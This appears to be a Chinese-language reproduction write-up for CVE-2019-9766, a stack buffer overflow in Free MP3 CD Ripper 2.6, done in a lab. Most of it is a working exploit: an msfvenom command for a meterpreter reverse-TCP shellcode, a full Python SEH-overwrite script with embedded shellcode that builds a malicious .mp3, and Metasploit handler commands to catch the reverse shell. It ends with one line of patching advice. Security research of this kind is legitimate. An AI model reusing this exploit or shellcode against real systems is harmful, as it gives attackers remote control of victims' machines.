CVE-2019-9766漏洞复现

一.漏洞描述

Free MP3 CD Ripper是一款音频格式转换器。

Free MP3 CD Ripper 2.6版本中存在栈缓冲区溢出漏洞。远程攻击者可借助特制的.mp3文件利用该漏洞执行任意代码。

二.环境搭建

1.攻击机:kali2019                    ip:192.168.0.171

2.靶机:windows10       安装Free MP3 CD Ripper 2.6版本         ip:192.168.0.160

三.漏洞复现

1.利用msf生成反向连接的shellcode,msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.171 lport=888 -f c --smallest

2.替换脚本中的shellcode.

# Stack-based buffer overflow in Free MP3 CD Ripper 2.6

 

buffer = "A" * 4116

NSEH = "\xeb\x06\x90\x90"

SEH = "\x84\x20\xe4\x66"

nops = "\x90" * 5

 

buf = ""

buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"

buf += "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"

buf += "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"

buf += "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"

buf += "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"

buf += "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"

buf += "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"

buf += "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"

buf += "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"

buf += "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"

buf += "\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"

buf += "\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x00\xab"

buf += "\x68\x02\x00\x03\x78\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"

buf += "\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"

buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0"

buf += "\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8"

buf += "\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00"

buf += "\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68"

buf += "\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3"

pad = "B" * (316 - len(nops) - len(buf) )

payload = buffer + NSEH + SEH + nops + buf +pad

 

try:

    f=open("TestFMCR.mp3","w")

    print "[+] Creating %s bytes mp3 File..." %len(payload)

    f.write(payload)

    f.close()

    print "[+] mp3 File created successfully!"

except:

    print "File cannot be created!"

3.运行脚本,生成恶意mp3文件,python FmcrExploit.py

4.移动恶意文件到靶机windows10上

5.打开msf并设置监听

msfconsole

use exploit/multi/handler

set lhost 192.168.0.171

set lport 888

set payload windows/meterpreter/reverse_tcp

6.运行exploit

7.返回靶机，利用Free MP3 CD Ripper打开文件

8.返回kali，已经与靶机建立连接

四.修复建议

1.及时更新Free MP3 CD Ripper到最新版本

 

 

 

感谢各位大佬赏脸，有什么不足的地方请多多指教，谢谢！！！